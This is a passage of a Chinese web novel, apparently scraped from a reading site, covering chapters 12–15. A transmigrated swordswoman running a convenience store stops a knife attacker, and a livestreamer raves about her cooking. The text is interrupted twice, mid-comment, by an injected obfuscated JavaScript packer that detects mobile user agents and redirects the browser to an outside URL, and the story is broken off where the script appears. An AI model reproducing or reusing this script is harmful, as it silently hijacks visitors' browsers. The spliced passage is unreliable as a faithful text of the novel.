刚刚问话的顾客越听越馋,决定还是先走人,明天上午十点就过来等,就不信还买不到。 顾客们吃饭时周瑶瑶也在吃,她感觉辣椒炒肉有点辣,但是又辣又香,根本停不下来。 “老板我去对面买杯奶茶回来。”实在太辣,她跟明清欢打声招呼后端着碗往外走。 奶茶店就在斜对面,就十米左右的距离,结果在她边吃饭边往前走时,意外忽然出现。 “小心!” 周瑶瑶注意力七分在手里饭菜上,三分在看路上,听到惊呼声下意识抬头,就看到有人举着刀朝自己跑过来,吓得差点没脚软。 12.第12章 周瑶瑶脚软只是一瞬间,求生欲让她很快转身就下意识往便利店跑,可惜她跑得快,举刀的歹徒追得也不慢。 “啊——” 眼见有人即将被砍到,附近个别胆子比较小的路人不由自主发出尖叫。与此同时,街上有人在就近躲避,有人转身就跑,还有人则是躲在店铺里隔着玻璃门举着手机拍视频。 倒不是说祥云街上这些人都冷血,主要还是意外发生得太快,大家根本没反应过来,目前连报警都没人干,更别说上去帮忙。 就在举刀行凶的男人即将追上周瑶瑶时,周围顿时响起各种惊呼以及喊她快跑的声音。 说时迟那时快,就在有人已经闭上眼不忍继续看时,明清欢出现在店外,只见她伸手将周瑶瑶轻轻一堆,下一秒周瑶瑶人就已经进入店内,顺着力道坐在张椅子上。 别说周瑶瑶这个当事人根本没反应过来,就连周围的旁观者都只感觉眼前一花,没看清楚怎么突然之间被攻击的年轻姑娘忽然换了个模样。 等他们眨眨眼想看个仔细时,就见一身浅灰色短羊毛外套的年轻姑娘竟然夺下行凶者手中的刀,用刀背将人劈倒在地。 在行凶者倒地时,终于有人反应过来,纷纷跑上前将人压制住,同时还有人用佩服的目光望着明清欢。 “太厉害了我的姐!” “小姑娘你胆子也太大了,下次遇到这种疯子还是先跑比较安全。” 街上人围过来后,有人控制被压在地上的男人,有人打电话报警,还有人则是提醒明清欢要注意安全。 明清欢倒是没觉得有什么,跟大齐的江湖比起来,她真不觉得连自己半招都扛不住的男人有什么危险。 被她收缴下来的是把砍刀,而且还是开了刃的砍刀,放在现代妥妥的管制刀具。 明清欢作为一名刀客,此时下意识打量起手中的刀,发现材质挺不错,放到大齐都能算得上一把宝刀。 “这人是不是疯了,大白天竟然敢拿刀砍人,还是这么长的砍刀。” “他好像没动静了,不会死了吧?” “死了也活该,就刚刚那个情况,咱们大家可是看到的,这小姑娘要是不动手,死的可就是她了。” 没人会喜欢在街上行凶的恶人,因此发现地上那个男人没反应时,大家都向着明清欢说话,还让她别怕说是会给她作证。 “放心,他没死,只是晕过去。” 明清欢继承原主记忆,知道这是个法治社会,不像大齐江湖有打打杀杀,自然不会直接动杀手。 说起来她刚刚已经有留力,只能说地上那人实在太废,这才现在还醒不过来。 她心里甚至有些疑惑,不懂这么废物的人,怎么敢大庭广众之下动刀。 “老板你没事吧?” 此时周瑶瑶也已经缓过劲来,不再腿软的她感觉跑到明清欢身边。 “没事。”明清欢摇摇头,见她脸色都有些白,转而安慰道,“放心,有我在,不会有人能伤你。” 剑走轻盈,刀走厚重。若说剑是灵动潇洒,那么刀就是凶猛霸道。 她语气很淡,并不带什么情绪,但刚刚用了半式刀法,刀客的气息不自觉流露出一丝半毫。话落进周瑶瑶耳中,莫名感觉特别有安全感。 周围人倒是并没有注意到,反而打趣起周瑶瑶来,说她是个吃货,这会还舍不得放下碗。 “知道你家快餐好吃,也不至于刚刚跑路时还死抱着碗不放吧。”隔壁童装店老板说。 周瑶瑶当然不至于好吃如命,她刚刚是真没反应过来,下意识就抱紧碗,此时听到大家打趣,赶紧开口反驳。 反驳完,她想到刚刚要不是老板救她,说不定就会挨上几刀,忍不住对着地上人踢了几脚。 “有病吧,想死就刀自己去,无冤无仇的你砍我干嘛!个傻缺玩意……” 周围并没有人拦着,甚至有人暗戳戳也打了两下,直到警察过来才把那人带走。 大白天,还是在街上,先不说附近的监控,光是目击者就有很多。明清欢动手绝对算得上是见义勇为加正当防卫,因此配合做完笔录就没她和周瑶瑶什么事。 不过二人重新回到店里时,周瑶瑶却是越想越有点后怕,尤其是吃完晚饭,看到外面天色已经黑了时。 “老板,我今天可以留在店里不?” 周瑶瑶在店里拖拖拉拉待到快八点时,终于忍不住开口。 类似当街砍人这种事,以前她只在刷视频时看到过,今天亲身经历,她现在感觉哪哪都不安全,尤其是想到出租房里就自己一个人时,更不想回去。 明清欢看她两眼就知道她在害怕,直接点头答应下来。 “老板你真好!” 周瑶瑶欢呼一声,随即整个人瞬间就放松下来,先是跑到鸟笼里逗了会鸟,随即又拉着明清欢一起打游戏。 可能是由于白天街上发生过那种吓人的事情,今天晚上祥云街上人格外少,自然就更不会有顾客上门买东西。 周瑶瑶拉着明清欢打游戏时,网上有个视频火了,视频内容正是今天在祥云街发生的砍人事件。 在看到大白天有人当街持刀砍人时,网友们心都瞬间提起来,尤其是在看到行凶者追着周瑶瑶砍过去时,更是有人有点不敢继续看。 【吓死我了,我还以为那个女生会被砍到……】 【妈呀!大白天就敢当街砍人,简直离谱。】 【啧,那个女的肯定是要么骗人感情,要么骗人钱了,算她运气好被人救了,不然怕不是要被砍死。】 【你有病吧!都不知道原因就在那造谣,那女生一看就是才二十多岁,行凶者都四十多五十岁的样子,能有个屁的感情纠纷。】 【那可不一定,不然人家怎么不砍别人只砍她?】 【那希望等你被人打了,被人杀了,被人把家给偷了时也这么想。】 【就只有我觉得救人的小姐姐太飒了吗?她动作太快了,从把人推开到夺刀,再把人给打趴下,我的妈啊,简直快得我都没看清楚动作。】 【确实好帅!尤其是最后把人打晕收刀那一下,我甚至从她身上看到了几分武侠风范 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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店内是一层玻璃门,一层卷帘门,卷帘门没打开室内光线很暗,明清欢将灯打开后走到鸟笼边,拿几颗瓜子丢进食盒里堵住它嘴巴,随即去厨房里忙活。 楼上,可能由于不是在自己家,周瑶瑶比平常醒得更早些,简单洗漱就直接走下楼。 “老板你好早啊。” 周瑶瑶找到厨房,发现里面已经开始蒸上馒头,有点佩服她起那么早。 “还没到上班时间,你怎么不多睡会?”明清欢边继续做馒头边问。 “昨天睡得早,所以醒得也早。” 周瑶瑶平常自己在家都是要到十二点后才睡觉,昨晚在店内留宿十点就回房间睡觉了,对她来说还挺难得。 她想帮忙做馒头,但实在不会,干脆提前去把门打开。 门打开没多久,有人送食材过来,周瑶瑶见有好多笋,干脆搬个椅子坐下来剥笋。 “老板,今天吃春笋炒肉吗?”看到食材里除了笋还有好多肉,她边剥边询问。 13.第13章 “你想吃春笋炒肉?”明清欢不答反问。 周瑶瑶:“我都可以,只要好吃就行。” 两个人边闲聊边各自忙活手上事情时,外面有人走进来。 “老板,馒头好了没?” 侠客便利店的馒头味道特别好,但凡来晚点就买不到,如今只要一开门就有人早早过来买。 “还没好。” 顾客是位老太太,老年人觉少,所以早早就过来买馒头,听到馒头还没好,很是自来熟地找椅子坐下来,还顺手帮着周瑶瑶一起剥笋。 “这笋不错,看着就新鲜。”老太太年纪虽大,剥起笋来动作却是比周瑶瑶这个年轻人还麻利。 周瑶瑶想说不用麻烦她,但老太太实在热情,只能笑着说了声谢谢。 随着馒头香味越来越浓郁,明清欢端着几层高的蒸笼从厨房出来,刚把馒头腾出来,就有好几个顾客陆续上门。 “我先来的。”店内的老太太见馒头好了,边起身边开始掏钱,“老板我要六个玉米馒头,再来三个茶叶蛋,我孙子可喜欢吃你家茶叶蛋了。” 见馒头出锅,周瑶瑶赶紧把手洗干净就站在玻璃柜台后面开始给顾客们打包馒头。 作为店内员工,她最近没少吃馒头,可即便如此,热腾腾的馒头散发出的香味,还是让她感觉很香。 “老板我吃个馒头和茶叶蛋。” 她给先来的顾客打包好早餐,趁着暂时没顾客的空隙,拿起个玉米馒头就咬起来,玉米的清香和松软的口感,她觉得自己能吃一辈子都不会腻。 “那你还吃早餐吗?”厨房内,明清欢听到她的话不由问。 “吃!我就先垫吧垫吧。” 周瑶瑶怎么可能舍得错过她做的早餐,边剥茶叶蛋边回答。 当天现煮的茶叶蛋香味浓郁又不失清爽,蛋壳剥开,露出布满漂亮纹路的蛋白,一口咬下去,又香又入味。 真好吃! 侠客便利店的馒头和茶叶蛋卖得特别好,九点不到,后面再来的顾客想买都买不到。 “怎么不多做点……” 每天都有没买到早餐的顾客说这话,周瑶瑶已经听习惯,边让人明天早点来边推销店里的面包牛奶。 “面包还没你家馒头一半好吃。”说是这么说,可能是觉得来都来了,顾客还是买了点牛奶面包当早餐。 等店内终于没有顾客来,周瑶瑶吃上明清欢特意给她做的早餐,土豆丝鸡蛋卷饼。 炒得脆脆的土豆丝配上香喷喷的鸡蛋饼,一口咬下去,饼的香软美味,土豆丝的香辣爽脆,简直是绝配。 “太好吃了!” 周瑶瑶刚刚已经吃过馒头和茶叶蛋,此时吃着土豆丝卷饼,却是胃口打开,直接干掉两个卷饼。 吃饱喝足,接下来周瑶瑶继续守在柜台后看店,明清欢则是在厨房里准备午餐。 之前好多顾客都说希望能多几个菜色选择,于是今天明清欢特意多准备个菜。 除了之前的红烧排骨、干煸藕丝、辣椒炒肉、酸辣土豆丝、豆腐酿肉外,还新加了腌笃鲜。 腌笃鲜是明清欢前些日子刷视频看到的美食,在大齐时,她家酒楼有过类似做法的菜肴,只是名字不同。 正好现在是吃春笋的时候,她想将自家菜谱和现代的腌笃鲜相结合,于是决定今天加上这道新菜。 腌笃鲜的腌是指腌制的咸肉,让明清欢现在去腌咸肉肯定来不及,只能去买现成的。 她刀工好,咸肉、鲜肉在她手下很快就被切成均匀的块状,随即前者泡水去咸味,后者焯水备用。 春笋之前周瑶瑶已经帮忙剥好皮,现在她只需要先切再焯水去涩味。 笋子想要好吃,焯水是关键,如果没有焯水,吃起来就会涩嘴,口感大大降低。 虽然是卖快餐,但明清欢做菜从来不敷衍,除了咸肉、鲜肉、春笋外,还准备了火腿和莴笋。 这道菜讲究一个大火烧开,小火慢炖,等到香味渐渐被炖出来时,那叫一个香。 守店其实是个挺枯燥的活,没客人时周瑶瑶不是很坐得住,要么站在门口打量外面街景,要么去鸟笼边逗鸟玩。 不过随着厨房里香味渐渐飘出来,周瑶瑶却是不自觉被吸引,转身就往那边跑。 “老板你在煮什么菜?怎么不盖锅盖?”周瑶瑶站在厨房门口,扑鼻而来的浓郁鲜味,香得她口水差点没下来。 “汤之上品讲究清鲜,而想要保持清鲜,炖煮时就不适合盖锅盖。”明清欢解释的同时,手上炒菜动作没停。 周瑶瑶被香味吸引,不由往前走两步,望着旁边那个有笋有肉的锅里说:“这个就是你说的腌笃鲜吗?看起来好好吃的样子。” 她话刚说完,外面响起八哥扯着嗓子喊“欢迎光临”的声音,猜到是有顾客上门,她赶紧从厨房出去。 现在才十点左右,离午饭时间还早,进入便利店的顾客是个二十来岁的青年,他手里举着手机,本来想说说自己闻见的香味,结果又被会说话的八哥给吸引。 “我还是第一次见到会说话的八哥,给你们看看。” 周瑶瑶出来时就看到他在拍鸟,由于店里这只八哥平常就很吸引人,她倒是挺习以为常,没有上前去搭话,而是坐回柜台后,只用余光时不时扫他两眼,确定他不会打鸟或者直接偷鸟。 不怪她有这个防备,实在是前段时间就有个小孩由于太喜欢八哥,竟然想连笼子一起提走,被发现还在地上撒泼打滚,实在令人无语。 举着手机的青年叫王瑞二,是个小主播,平常会拍些美食视频,或者做做探店直播。他昨晚刷到祥云街砍人视频,发现侠客便利店离自己很近,觉得可以当作素材来探店,于是上午就直接打车过来。 给直播间观众们欣赏一会会说话的八哥后,他开始进入正题。 “给你们看一下这家店……”王瑞二举着手机让粉丝们看便利店布局。 【便利店有啥好看的,我家楼下的便利店看着都比这家有档次,主播快把摄像头转回去,我要看鸟。】 【这家便利店看起来好旧啊,和我之前去过的便利店完全不一样。】 【主播你确定这里有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083357|163332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美食?我怎么看都觉得不像。】 【便利店有啥好看的,我想看主播教那只八哥说话,让它说“我不是鸟,我是人类”。】 “你们可别小瞧这家店,我已经闻见香味了,有红烧排骨的香味,还有藕香、豆腐香,以及一股特别的鲜香,光闻这味我口水就要下来了。” 王瑞二不愧是美食主播,轻嗅着店内的香味开始给粉丝们介绍起来。 【真的假的?主播你说的也太夸张了。】 【我不信,这种便利店看着就不像有美食的样子。】 王瑞二看到评论,直接转身走向柜台:“你好,请问可以吃饭了吗?” “快餐还没好,要再等会。”周瑶瑶说完好奇地打量他,“你是主播?” 王瑞二:“对,你放心我不乱拍,要是你家东西好吃,我免费替你们宣传。” 他话落,周瑶瑶不由笑起来:“我们家快餐可不用宣传,本来每天都不够卖,你宣传完被吸引来的人吃都吃不到,那不是要馋死人。” 【切,快餐而已,谁没吃过,多馋才会被快餐馋死。】 【就是,快餐再好吃能好吃到哪去,而且店里就看到一张桌子,怎么瞧也不像正经吃饭的地方。】 【看着就不正规,该不会是卖料理包的店吧?】 【可是主播不是说闻着特别香吗?应该不会是料理包吧。】 【那你可小瞧料理包了,料理包照样有香味,要是不说,一般人还真不会发现。】 厨房里飘出来的香味很浓郁,而且带着锅气,王瑞二闻着就觉得肯定不是料理包,毕竟他之前拍过料理包的试吃视频,料理包可没那么香。 不过看到评论里的内容,他还是开口多问一句:“你家快餐是现炒的吗?” “当然,每天都是新鲜食材现炒,我和我们老板自己都吃。” 两人说话间,厨房里香味越来越浓,这下王瑞二口水是真要流出来。 别说他,就算天天在店里吃饭的周瑶瑶都没好到哪去,忍不住再次来到厨房门口。 明清欢余光注意到她,正好让她把菜用不锈钢餐盆端出去。 店里最开始卖快餐时,菜色比较多,本来就是用不锈钢餐盆装好放到外面带保温的餐柜里,顾客来了要什么菜就打什么菜。 后面是明老爷子年纪大了,一个人做不出来那么多菜,才改卖打包好的快餐。现在由于顾客都建议明清欢每天多准备几个菜,她又恢复打菜模式。 好香啊! 周瑶瑶端着一盆刚收好汁的红烧排骨,嘴巴里不自觉生出津液,望着色泽红亮,散发出浓郁肉香的排骨,恨不得赶紧吃上一块。 想着早点把菜端出来说不定能抽空吃两口,她动作很麻利,没多久就依次将红烧排骨、干煸藕丝、豆腐酿肉等菜端出来。 “这是快餐?” 周瑶瑶往外端菜时王瑞二也没闲着,摄像头早就移过来,望着那被酱汁均匀包裹,颜色饱满的红烧排骨,还有金灿灿的干煸藕丝,以及卖相十足的豆腐酿肉,他觉得这要是快餐,那他以前吃的算什么? 14、第14章 【这是快餐?看起来也太有卖相了吧!】 【隔着屏幕都馋到我了,主播你是不是开滤镜了?】 【我昨天去酒店吃的菜看起来都没这个诱人,你跟我说这是快餐?】 何止王瑞二觉得这些菜的卖相不像快餐,隔着屏幕看到菜肴的粉丝们同样有这种感觉。 “我要买饭,麻烦每个菜都给我来一份。” 王瑞二话刚落,门外有人小跑进来,语气透着兴奋:“哈哈,今天我来得那么早,看谁还跟我抢饭吃!” 这位老顾客说完才看清今天菜色比之前要多,表情顿时更加高兴:“给我来份饭,再把每个菜来一点。” “稍等。” 饭都还没拿出来,周瑶瑶哪有办法给他们打饭菜,让他们稍等后赶紧去厨房把饭端出来。 她刚把饭放好,明清欢端着最后一样菜出来,浓郁的鲜味瞬间向着店内几个人扑过去,还没吃就已经令人陶醉。 “这是什么菜?” 老顾客忍不住开口询问时,王瑞二给了那盆菜一个特写。 清澈的汤中躺着嫩黄色的春笋,嫩绿的莴笋,淡红色的咸肉、火腿,还有浅褐色的鲜肉,整道菜色彩搭配很是漂亮,光看着就让人特别有食欲。 “这是腌笃鲜。”周瑶瑶说完喉咙不由吞咽一下,随即赶紧拿餐盒给他们打菜,显然是想赶紧给他们打好,自己也跟着尝尝。 确定他们每个菜都要,她和明清欢一起动手,很快就把菜打好递出去。 两个人来得早,正好能坐店里的桌子,不然点那么多菜还不好拿。 就是可惜周瑶瑶想尝腌笃鲜的想法直接破灭,因为两份饭刚打完,又开始陆续有人进店。 “好香啊,今天有什么好吃的?” “刚才在外面就闻见香味了,简直馋死个人。” “哇,今天有好几个菜可以选,太棒了!” 就几分钟的时间,店里已经来了七八个人排队,发现今天菜色比之前多时,都特别高兴。 与此同时,桌前那位老顾客拿到饭菜第一时间就埋头苦吃,吃得那叫一个香。 王瑞二倒是也想像他那么吃,但好歹记得自己是主播,先给粉丝们介绍一下菜色才开动。 “先尝尝这道腌笃鲜,我以前在外地吃过腌笃鲜,不过食材和今天略有差异,以前吃的那份里面只有笋、咸肉、鲜肉,没有莴笋和火腿。” 王瑞二说完先用勺子尝一口汤,汤刚入喉就忍不住轻轻摇头发出感叹:“这汤看着清,但喝起来却是格外的鲜,鲜中还带着微微清甜……” 品尝完汤,他迫不及待开始吃里面的食材,只觉得肉质酥肥,不论是咸肉还是鲜肉都吃起来鲜而不腻,春笋和莴笋则是清香脆嫩,火腿更是格外鲜美。 “好吃!这腌笃鲜实在太美味了,比我之前吃过的好吃几倍都不止,尤其是这汤,看着清澈,喝起来却鲜酥骨髓,而且一点都不油腻。” 不用王瑞二点评,光看他那副吃相粉丝们已经被馋得不自觉吞咽口水。 【别说了,说得我口水都要下来了。】 【不公平!同样是快餐,为什么主播的快餐是这样,我的快餐却是这样[图片]】 【腌笃鲜,这是我老家的菜色,我都好久没吃过了,忽然好馋这口啊……】 【这笋看着就嫩,搞得我都馋春笋了,还有那个肉,明明连肥带瘦,看起来却一点都不油腻。】 【我倒觉得,桌上那个藕看起来更诱人,好想尝尝是什么味道。】 作为主播,王瑞二本来应该先把每样菜都轮流尝一遍,但腌笃鲜实在太鲜,鲜得他完全停不下嘴,简单对着粉丝介绍完就开始沉浸在美食中。 现在正是吃春笋的好季节,春笋经过炖煮,既有食材本身的清香脆嫩,又吸收肉的鲜味,简直别提有多美味。 莴笋加入其中,不光为这道菜增色不少,吃起来更是有种和春笋不同的清脆爽口。 王瑞二吃口笋,来口肉,再喝上一口汤,只觉得整个人像是置身于竹林一般,感受到春日的林间气息,简直不要太陶醉。 看到他吃个菜脸上都吃出飘飘然的表情,隔着屏幕的粉丝恨不得能魂穿到他身上,尝尝腌笃鲜究竟有多好吃。 【可恶,外卖上竟然没有腌笃鲜卖!气死我了!】 【我这也没有,不过有春笋炒五花肉,反正都是笋和肉,我决定买一份回来解解馋。】 就在不少粉丝都快被馋哭时,王瑞二终于将腌笃鲜吃得连一滴汤都不剩,他回味着嘴里残留的鲜味,终于想起来自己还在直播,伸出大拇指道:“这道腌笃鲜真是绝了!建议你们有空可以过来尝尝,绝对不会失望。” 话落,他端起米饭先吃了一口,又忍不住夸这米饭蒸得好,米香味格外浓郁。 夸完他夹起一块红烧排骨放到碗里低头品尝起来,只觉得肉质入口软烂,调味更是无可挑剔,单吃美味,配饭吃更香。 “我本来以为她家腌笃鲜就是一绝,没想到红烧排骨也做得这么好吃,这个调味真的,我都不知道怎么用语言跟你们形容,反正就是好吃……” 听到他用“烂而不柴”、“火候把握好”、“调味绝佳”、“越吃越香”等一堆评价来夸红烧排骨,搞得粉丝们又开始馋起红烧排骨来。 说起来美食主播做直播一般都喜欢夸夸夸,但粉丝也不傻,并不是你夸几句就能被馋到,有时候主播如果硬夸,反而会被粉丝嘲笑说“吃点好的吧”之类的话。 但今天,先不说桌上这些菜的卖相看着就令人很有食欲,光是王瑞二发自内心地吃相就很能感染人,此时已经有同样在q市的粉丝打算过来吃同款。 这边王瑞二做个直播馋哭一堆粉丝时,便利店里今天也是格外热闹。 “老板给我来两份那个腌笃鲜,还有红烧排骨……” “你一个人吃买那么多干嘛?待会吃不完都浪费了。” “吃不完我打包带回去晚上吃。” 老顾客们都知道便利店里的快餐有多好吃,看到今天有好几个菜能选,那真是恨不得每样都来点,一顿吃个够。 这不,排在后面的顾客生怕前面人把菜买完了,忍不住发出提醒,但前面的顾客才不听。 而已经买到饭的顾客更是脚都有点迈不开,站在原地就吃起来,只觉得这个也好吃,那个也好吃,简直每道菜都好吃到心坎里去。 眼见店里有点人挤人的趋势,周瑶瑶不得不开口,麻烦已经买完快餐的顾客往旁边让让。 “老板,就你这手艺,真该直接把便利店改成餐馆,我保证天天过来光顾。” 说是这么说,顾客们还是边吃边往外走,把空间让给排队的人。 王瑞二运气不错,由于来得最早,还有个桌子坐,等吃到八分饱时,他终于放慢进食速度,开始跟粉丝互动。 “给你们看一下,店里人特别多,还好我来得早,还占到个位置坐……” 【正常,这种品质的快餐,也就没开在我家附近,不然我能天天去吃。】 【商场里不少装修高档的餐厅都开始用料理包,结果一个小破便利店竟然在做现炒的快餐,就很离谱。】 【我感觉就这菜的品质,真不是一般快餐能比的,我印象中的快餐都是油啦吧唧,哪有主播吃的那么清爽有卖相。】 【为什么我附近没有这种便利店?要是有的话,我能天天吃。】 【主播你是不是吃不下了?吃不下把剩下的菜打包送给我吧,我不介意吃剩菜。】 一个人吃六个菜确实有点多,但王瑞二表示:“我可以!” 腌笃鲜已经被吃完,红烧排骨也已经见底,就连汤他都没浪费,到进米饭里拌着吃。 话说完,他夹一筷子酸辣土豆丝送进嘴里,爽脆的口感,酸酸辣辣的味道,吃起来又美味又开胃。 “这酸辣土豆丝不光好吃,而且切得也漂亮,一看就知道厨师刀功肯定很好。”王瑞二连吃几口土豆丝,感觉自己又能继续再吃点,于是夹起块豆腐酿肉送入口中。 豆腐酿肉以前他也吃过,但跟今天这份比起来,就显得哪哪都不如。 粉丝们被馋得要命,看到他还在吃,不少人带着点羡慕嫉妒恨地提醒他小心撑死。 王瑞二嘿嘿笑道:“撑死总比馋死好,唔,还有这藕,实在是美味,我以前都不知道原来藕还能这么吃,油炸过的藕丝吃起来焦香酥脆,尤其是经过干煸口感香而不油,吃起来太过瘾了。” 等他把桌上饭菜吃完,已经撑得有点走不动路。而与此同时,柜台那边今天的快餐已经快卖完。 “不好意思,已经没有菜了。” 刚刚周瑶瑶就提醒后面的顾客不要再浪费时间排队,大部分人都失望地离开,只有几个不死心地没走。 此时她话落,有个老顾客指着不锈钢餐盆里的汤汁说:“那不是还有点汤,给我来份汤拌饭。” “这……”周瑶瑶感觉不太合适,但见顾客坚持,只能盛碗饭把汤浇上面,意思意思地收了个米饭钱。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 15、第15章 把菜汤都卖出去,周瑶瑶觉得现在总该能收摊了,谁知又有位顾客开口道:“我也要买饭。” “已经没菜了,菜汤也没了。”周瑶瑶当然知道自家快餐有多美味,但看到菜卖完了还有顾客要买,还是有些无奈。 “没事,把饭在菜盆里给我都拌一拌就行。”顾客闻着店内的香味,觉得就算现在离开他也不想吃别家的饭菜,还不如凑合尝个味。 不至于,真不至于…… 周瑶瑶心里吐槽,视线却是看向明清欢,用眼神询问她现在要怎么办。 “他要就给他打。” 明清欢倒是没什么感觉,毕竟白米饭在古代那可是稀罕东西,多少普通老百姓想吃都吃不上。 既然老板同意,周瑶瑶便也没再说什么,打了饭倒入餐盆中搅拌起来。 在她打饭时,前面那个买了汤拌饭的顾客已经吃上,他不嫌弃几个菜汤混在一起味道会太杂,所以菜汤基本都进他碗里,配上点菜渣,直接组成了一碗汤饭。 汤饭味道很是丰富,一口下去除了米饭本身的香味,还有肉鲜,豆腐香,藕香等味道,吃起来还怪香的。 “好吃!” 听到这声好吃,最后买饭的那位顾客迫不及待从周瑶瑶手中接过饭,握着筷子就扒了一大口。 他碗中米饭就不带什么汤,不过每粒米都沾上菜味,吃起来口感偏淡,却也能尝出几分那些菜的美味。 “确实好吃!”他边扒饭边赞同地发出感叹,同时下定决心明天一定要早点来买饭。 两位顾客吃着拌饭时,旁边王瑞二已经举着手机对着他们拍了好一会。 【太夸张了吧!真有那么好吃吗?】 【连菜汤都抢着买,我开始好奇这家菜到底有多好吃了,可惜最近没假,不然我高低要打个飞的去尝尝。】 【汤拌饭都吃得那么香,不敢想菜到底是各种美味,主播可以帮我打包一份寄过来吗?】 【好主意,我家就在隔壁市,找个跑腿帮忙买应该能吃上!】 【认真的吗?我还以为跨城代购美食是开玩笑,没想到真有有钱人这么干啊!】 【不是啥有钱人,只是工资还可以,加上没其他爱好,就好一口吃,刚刚主播吃饭时就馋到我,现在看到菜汤拌饭也吃那么香,我是真想尝尝。】 【我就是q市的,跑腿费给多少?要是多的话,我帮你买。】 【假的吧,是不是老板请来的托?我真不信这年头有人连剩菜汤都抢着吃。】 王瑞二看到评论,走上前询问:“兄弟,请问好吃吗?” “挺好吃的,就是可惜没抢到菜,不然肯定更好吃。” 由于米饭还在腌笃鲜的盆里滚过,吃起来带着股格外浓郁的鲜味,可惜味道比较淡,让他把饭咽下去想回味一下都不行。 眼见店里一直有顾客不走,明清欢看了眼时间后对周瑶瑶说:“你先去吃午饭。” “好。” 周瑶瑶早就被馋得不行,闻言立刻跑进厨房里拿自己那份工作餐。 发现老板给自己留了一大碗腌笃鲜,她低头先喝了口汤,随即那清鲜的滋味让她不自觉“哇”了声。 看汤色,她原本以为是那种清清爽爽的汤,没想到入口却是格外鲜,而且余韵悠长。 “老板你做的腌笃鲜太赞了,怪不得它名字里带鲜,光是这口汤就鲜得我差点把舌头吞下去。” 周瑶瑶被腌笃鲜给惊艳到,忍不住端着碗出来,她话刚说完,又迫不及待吃口笋,嫩黄色的春笋看着就让人感受到春天,一口咬下去,半点涩味都吃不出来,满满都是鲜嫩爽脆。 这道菜每种食材都可以单吃,也可以结合着吃,比如春笋配上咸肉一起咬下去,肉的鲜美配上笋的爽脆,口感更加美味。 店内还没走的顾客看到周瑶瑶吃得那么香,再看她碗里食材特别丰富,有人忍不住发出询问的声音:“老板,你们这还招人吗?” 便利店显然不可能招太多人,不然光工资开销就不少。不过那位顾客话落,还没等明清欢开口,周瑶瑶就暂时从美食里抬头,警惕地盯着想抢自己饭碗的人。 “我就问问,没别的意思。”那位顾客对上她目光,赶紧解释。 接下来半个小时,还陆续有人上门想要买快餐,得知卖完了都很失望。 一直到下午两点左右,店内才终于安静下来,只剩明清欢和周瑶瑶二人。 “老板,中午那个初中生什么情况啊?” 今天阳光不错,周瑶瑶吃饱喝足坐在店门边,舒服得有点想睡觉,未免真的睡过去,于是没话找话聊。 吴佑南每天中午都会过来买馒头,今天也不例外,以至于周瑶瑶都已经眼熟她,因此有些好奇一个初中生怎么天天要来店里买那么多馒头。 “具体不知道,不过最开始是买馒头当午饭吃,现在是顺便会帮同学带一些。” 明清欢没问过吴佑南,但不用问都能猜到,应该是家庭条件不好,或者父母对她不上心,否则以现代的生活条件,怎么也不至于让个学生天天中午啃馒头。 “啊?每天都吃馒头当午餐吗?那能有什么营养,她爸妈为什么不让她回家吃饭,或者给她送饭呢?” 店里馒头固然好吃,周瑶瑶还是有点不能理解怎么有父母舍得让孩子天天吃馒头。 她心疼吴佑南时,吴佑南却觉得最近这段时间是她过得最开心的时候,不但能吃到美味的馒头,而且每天给同学带馒头,她还能赚点跑腿费,如今手里已经攒下几十块钱。 以前她在学校里比较沉默,没有特别好的朋友,但随着她帮忙带馒头,渐渐和班里几个女生关系越来越好。 吴佑南喜欢现在的生活,同时很感激便利店老板,她知道老板是好心才会每天给她留馒头,还经常送点菜给她配馒头吃。 今天中午她拎着馒头回教室时,里面有一碗酸辣土豆丝和一个煎蛋,土豆丝她分了点同学,煎蛋却是夹在馒头里美美吃了一顿。 酸酸辣辣脆脆的土豆丝比辣条还好吃,她同学都吃完还想再吃,甚至还想让她下次帮忙买点。 不过吴佑南知道老板家其实馒头和饭菜都很抢手,以学校的放学时间过去,根本没有多余时间排队,不想再麻烦老板的她便让同学们放假时自己去买。 接下来几天又有不少新顾客慕名来到侠客便利店,基本上都是带着好奇心来,吃得挺着肚子离开。 新的一天,周瑶瑶熟门熟路来到店里时,献宝般将一枝桃花送到明清欢面前:“当当当当,老板看这是什么!” 还带着微微晨路的桃花很是娇艳,那抹粉色带着浓郁的春天气息。 “桃花已经开了?”明清欢伸手接过花,淡淡桃花香扑鼻而来。 “是啊,我家附近有个奶奶院子里种了几棵桃花树,奶奶人还挺好,看到我喜欢就送了我一枝花。” 其实是她发现桃花盛开后每天路都有点手痒,但又不好意思辣手摧花,可能被老太太看出来。 人对美好的事物总是带着几分欣赏,明清欢自然也不例外,转身去店内找个花瓶将花插好才重新回厨房洗手做菜团子。 “咦,老板你要做什么?” “做点菜团子。” 小时候每到这儿季节,她爷爷喜欢做菜团子给她吃,今天食材送得早,明清欢见送过来的菠菜又嫩又新鲜,临时起意想做点菜团子。 周瑶瑶来之前她已经将食材都准备好,胡萝卜切丝用油炒香,菠菜焯水后挤干水分切碎,鸡蛋炒碎,香菇切碎,再将这些食材调成馅时,明清欢还加了一点点虾皮来提鲜。 至于菜团子的外皮,她选择用玉米面,此时已经把面揉好,只差包好团子上锅蒸。 “我也来帮忙。” 周瑶瑶看她包团子觉得这个不难,于是洗干净手抢着要干活。 “太厚了,要再薄一点蒸出来才好吃……”明清欢并没有拒绝她帮忙,而来边快速包菜团子边指点她。 很多事情都是看别人做容易,但自己上手时难,周瑶瑶一个菜团子就要包半天,结果不是皮厚了,就是要包露馅。 